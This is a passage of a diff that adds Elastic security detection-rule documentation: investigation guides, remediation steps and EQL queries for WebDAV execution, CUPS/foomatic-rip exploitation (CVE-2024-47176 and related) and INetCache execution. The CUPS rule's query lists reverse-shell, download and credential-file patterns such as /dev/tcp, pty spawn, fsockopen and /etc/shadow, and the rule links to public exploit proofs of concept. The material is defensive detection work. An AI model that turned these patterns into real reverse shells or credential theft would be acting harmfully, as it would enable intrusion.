later starts where `process.executable` matches a written path. !{investigate{"description":"","label":"File events from the WebDAV launcher","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if WebDAV content is copied locally or to a mapped drive before execution, treat it as the same delivery chain and keep original-process scope. + - Range: start with the alert window; expand only after a suspicious write to confirm later execution. + - Implication: escalate when the chain writes scripts, installers, renamed payloads, or startup material in user-writable paths. Missing file telemetry is unresolved, not benign; direct WebDAV execution may leave few local artifacts. + +- Did DNS or connection telemetry confirm the WebDAV endpoint or delivery infrastructure? + - Focus: if network telemetry exists, separate DNS events (`dns.question.name`, `dns.resolved_ip`) from connection events (`destination.ip`, `destination.port`) for the same `host.id` and `process.entity_id`. !{investigate{"description":"","label":"Network events from the WebDAV launcher","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use DNS lookup_result events to map `dns.resolved_ip` to later `destination.ip` before tying a domain to a connection. Missing network telemetry is unresolved, not benign. + - Implication: escalate when the process reaches public tunnels, rare external domains, high-port WebDAV services, or destinations unrelated to the signer and parent workflow; lower concern when the endpoint matches the command line's recognized tenant, internal share, or vendor. + +- If local evidence is suspicious or unresolved, do related alerts show the same WebDAV delivery or transfer pattern? + - Focus: related alerts for `user.id` over 48 hours, checking reused WebDAV path, launcher, destination, or follow-on artifact. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if user scope is quiet or ambiguous, check `host.id` for whether the path stays local or appears with other execution or download alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same path, domain, launcher, or artifact pattern appears beyond one recognized workflow; keep the case local when related-alert history is confined to that workflow. + +- Escalate on direct remote WebDAV execution plus suspicious launcher, lineage, child, artifact, destination, or related-alert evidence; close only when process evidence and recovery align to one exact recognized workflow; preserve and escalate when answers conflict or visibility is incomplete. + + +*False positive analysis* + + +- Tenant collaboration portals, internal WebDAV shares, and vendor content portals can trigger when `process.command_line` namespace, `process.parent.executable`, `process.executable`, signer, `user.id`, and `host.id` converge on one recognized workflow. Close only when telemetry shows parent, path, utility, user, and host stable across prior rule alerts and no child, artifact, or destination evidence contradicts the portal workflow. Use portal allowlists or owner records as corroboration, not substitutes. +- Deployment or remote-support tooling can run msiexec.exe, powershell.exe, cmd.exe, or bitsadmin.exe against WebDAV-hosted packages. Confirm only when a management-agent or support-console parent, utility identity, signer, package namespace, written-artifact pattern, and host/user scope fit the same workflow. Public tunnel paths, renamed payloads, unexpected children, or one-off standard-user launches remain suspicious unless externally confirmed with no telemetry contradictions. +- Before creating an exception, use the minimum confirmed workflow pattern: stable `process.code_signature.subject_name` or `process.executable`, `process.parent.executable`, specific `process.command_line` namespace or destination pattern, and proving `user.id` or `host.id` scope. Avoid exceptions on `process.name`, `user.name`, "@SSL", or "DavWWWRoot" alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the command-line namespace, parent launcher, utility identity, signer, available destination or artifact evidence, and `user.id` / `host.id` scope that validated the workflow. Create an exception only after the same scoped pattern is stable across prior rule alerts. +- If suspicious but unconfirmed, preserve the alert export, process tree, `process.entity_id`, `process.command_line`, `process.parent.command_line`, remote path, staged artifacts, and destination indicators before containment. First apply reversible containment, such as temporarily blocking the confirmed WebDAV namespace or increasing monitoring on affected `host.id` and `user.id`; avoid termination or deletion until child execution, payload staging, or repeated suspicious destinations indicate active compromise. +- If confirmed malicious, isolate the host when feasible or terminate the alerting process after evidence capture. If identity evidence suggests account misuse, contain or reset the affected account with identity owners. If direct endpoint response is unavailable, hand off preserved process, artifact, destination, host, and user evidence to the team able to contain the host or account. +- Block confirmed malicious domains, destination IPs, hashes, executable paths, and staged artifact paths. Review other hosts and users for the same `process.parent.executable` plus `process.command_line` plus destination pattern, then remove only staged scripts, installers, startup material, or persistence changes tied to the chain. +- Post-incident hardening: restrict unnecessary WebDAV and WebClient usage, limit direct execution from remote shares by script hosts and installers, use application control or attack surface reduction where feasible, retain file and network telemetry for this workflow, and document variants such as mapped-drive execution, copied-local execution, and alternate script-host launchers. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "conhost.exe", "wscript.exe", "mshta.exe", "curl.exe", "msiexec.exe", "bitsadmin.exe", "net.exe") and + process.command_line : ("*trycloudflare.com*", "*@SSL\\*", "*\\webdav\\*", "*\\DavWWWRoot\\*", "*\\\\*.*@8080\\*", "*\\\\*.*@80\\*", "*\\\\*.*@8443\\*", "*\\\\*.*@443\\*") and + not (process.name : "cmd.exe" and process.args : "\\\\?\\UNC\\*.sharepoint.com@SSL\\DavWWWRoot\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc new file mode 100644 index 0000000000..ed003a012b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc @@ -0,0 +1,247 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-from-foomatic-rip-or-cupsd-parent]] +=== Suspicious Execution from Foomatic-rip or Cupsd Parent + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects suspicious process command lines executed by child processes of foomatic-rip and cupsd. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2024-47076 +* Vuln: CVE-2024-47175 +* Vuln: CVE-2024-47176 +* Vuln: CVE-2024-47177 + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from Foomatic-rip or Cupsd Parent* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name in ("foomatic-rip", "cupsd") and process.command_line like ( + // persistence + "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", "*/etc/sudoers*", + "*/etc/profile*", "*autostart*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*", "*~/.ssh/*", "*udev*", + "*/etc/shadow*", "*/etc/passwd*", + + // Downloads + "*curl*", "*wget*", + + // encoding and decoding + "*base64 *", "*base32 *", "*xxd *", "*openssl*", + + // reverse connections + "*GS_ARGS=*", "*/dev/tcp*", "*/dev/udp/*", "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*", + "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", "*disown*", "*nohup*", + + // SO loads + "*openssl*-engine*.so*", "*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*", "*Fiddle.dlopen*.so*", + "*cdll.LoadLibrary*.so*", + + // misc. suspicious command lines + "*/etc/ld.so*", "*/dev/shm/*", "*/var/tmp*", "*echo*", "*>>*", "*|*" +) and not process.args like "gs*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-inet-cache.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-inet-cache.asciidoc new file mode 100644 index 0000000000..72a6203294 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-inet-cache.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-from-inet-cache]] +=== Suspicious Execution from INET Cache + +Identifies the execution of a process with arguments pointing to the INetCache Folder. Adversaries may deliver malicious content via WININET during initial access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from INET Cache* + + + +*Possible investigation steps* + + +- Did the alert execute a payload from INetCache, or did another process only reference cached content? + - Focus: `process.executable` and `process.command_line`, checking whether `AppData\Local\Microsoft\Windows\INetCache\IE` or `\Device\HarddiskVolume*\Users\*\INetCache\IE` is the image path, loader input, or only a document/image argument. + - Implication: escalate faster when the image runs from cache or feeds cached script, archive, shortcut, or DLL content to a loader; lower suspicion when the cache path is only a file argument to a recognized viewer and later lineage shows no execution. + +- Does identity and launch context fit a recognized file-opening, archive, or installer workflow? + - Focus: `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when identity, signer, path, or parent command line conflicts with Explorer/archive-manager file handling; lower suspicion only when identity and launcher context fit one coherent workflow. Identity alone does not clear cache execution. + +- Do launcher-scoped file events show a downloaded or disguised lure chain? + - Why: parent-scoped provenance distinguishes routine cache use from shortcut, archive, script, or DLL handoff. + - Focus: file events from the parent launcher via `process.parent.entity_id`; fallback to `host.id` plus parent PID and alert time, checking `file.path`, `file.origin_url`, `file.origin_referrer_url`, `file.Ext.windows.zone_identifier`, and `file.Ext.original.extension`. !{investigate{"description":"","label":"File events for the launcher process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when provenance shows internet delivery, deceptive extensions, shortcut-to-archive/script transitions, or renamed cache payloads. Missing file telemetry is unresolved, not benign. + +- Do process-scoped DNS or connection events show delivery or follow-on infrastructure? + - Why: network evidence separates local file-opening from remote retrieval, payload transfer, or follow-on command and control. + - Focus: DNS and connection events from `process.entity_id`; fallback to `host.id` plus `process.pid` and alert time, checking DNS `dns.question.name` and `dns.resolved_ip` plus connection `destination.ip` and `destination.port`. !{investigate{"description":"","label":"Network events for the executed process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: compare `lookup_result` DNS `dns.resolved_ip` values to connection `destination.ip` before judging infrastructure. + - Implication: escalate when the process reaches rare external, WebDAV-like, dotted-quad, or payload-transfer destinations that do not match file provenance; lower suspicion when destinations align with the same recognized vendor workflow. Missing network telemetry is unresolved, not benign. + +- Did the cached content lead to script, archive, DLL, or staged executable execution? + - Focus: child starts where `process.parent.entity_id` matches `process.entity_id`, checking child `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the cached-content process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if entity IDs are unavailable, use parent PID plus alert time as a weaker fallback. + - Implication: escalate when the chain quickly launches "cmd.exe", "powershell.exe", "rundll32.exe", "mshta.exe", "wscript.exe", "cscript.exe", or another staged executable; lower suspicion when the lineage stops at the original viewer, archiver, or installer. + +- If local evidence remains suspicious or unresolved after lineage review, is the same user or host part of broader delivery activity? + - Focus: `host.id`, `user.id`, and related alerts that repeat the same cache-path role, parent launcher, child-process family, recovered destination, or provenance pattern. + - Hint: pivot same-user alerts. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: pivot same-host alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when related alerts show the same lure or delivery pattern across the user or host; skip broadening when local evidence supports a coherent benign workflow or single-host containment. + +- Escalate on disguised/downloaded cache execution, loader handoff, suspicious infrastructure, or broader delivery; close only when process evidence and recovery bind one coherent benign workflow with no contradictions; when evidence is mixed or visibility incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Browser-driven installers, vendor updaters, and archive-based delivery can launch signed helpers from cache or reference cached installer content. Confirm `process.executable`, hash/signer, parent executable/command line, `user.id`, and `host.id` align with one recognized vendor workflow, and recovered provenance/destinations do not contradict it. Without deployment records, require recurring signer or hash, parent workflow, account, and host pattern without loader children or unrelated external delivery. +- Archive preview, document viewing, or browser-open workflows can reference cached paths without executing a cached payload. Confirm `process.command_line` uses the cache path as a document, image, or shortcut argument, the parent workflow is stable for `user.id` and `host.id`, and recovered file, network, and child-process evidence lacks `.url/.lnk`, `.cmd/.bat/.js/.hta`, archive-to-script, or DLL-loader transitions. +- Before creating an exception, validate recurrence across prior alerts from this rule with stable `process.executable`, signer or hash, `process.parent.executable`, cache-path role, `user.id`, and `host.id`. Avoid exceptions on INetCache alone, Explorer alone, archive-manager name alone, or a user alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the process identity, command line, parent workflow, account, host, and any recovered provenance or destination evidence that proved the benign workflow. Create an exception only for the recurring signer or hash, cache-path role, parent workflow, `user.id`, and `host.id` combination. +- If suspicious but unconfirmed, preserve `process.entity_id`, `process.command_line`, parent/child lineage, runtime hash and signer, payload files, origin/referrer URLs, DNS names, destination IPs/ports, and related alert IDs before containment. Apply reversible containment first, such as temporary destination blocking or heightened monitoring for the affected `host.id` and `user.id`; isolate only when loader execution or network evidence suggests active payload delivery or command and control. +- If confirmed malicious, preserve the same process, file, and network artifacts before destructive action. Isolate the endpoint when host criticality permits, block confirmed malicious domains, destinations, and hashes, collect suspicious payloads, then terminate processes or delete files only after scope and evidence capture are complete. +- Eradicate only the shortcut, script, archive, DLL, extracted payload, startup item, or persistence artifact identified during the investigation. Verify the original browser-download, archive, WebDAV-like, or cache delivery path no longer reaches the host. +- Post-incident hardening: retain the evidence set that proved the case, review SmartScreen, Mark-of-the-Web, WebDAV, archive-handling, and web-download controls for the affected host class, and record adjacent variants such as disguised `.url` lures, archive-extracted scripts, or cache-based DLL launchers in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("explorer.exe", "winrar.exe", "7zFM.exe", "Bandizip.exe") and + ( + process.args : "*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" or + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" + ) + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\mspaint.exe", + "?:\\Windows\\System32\\notepad.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\mspaint.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\notepad.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-vs-code-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-vs-code-extension.asciidoc new file mode 100644 index 0000000000..594a9bd01e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-vs-code-extension.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-from-vs-code-extension]] +=== Suspicious Execution from VS Code Extension + +Detects suspicious process execution launched from a VS Code extension context (parent command line contains .vscode/extensions). Malicious extensions can run on startup and drop or execute payloads (e.g. RATs like ScreenConnect, script interpreters, or download utilities). This covers both script/LOLBin children and recently created executables from non-Program Files paths, as seen in campaigns such as the fake Clawdbot extension that installed 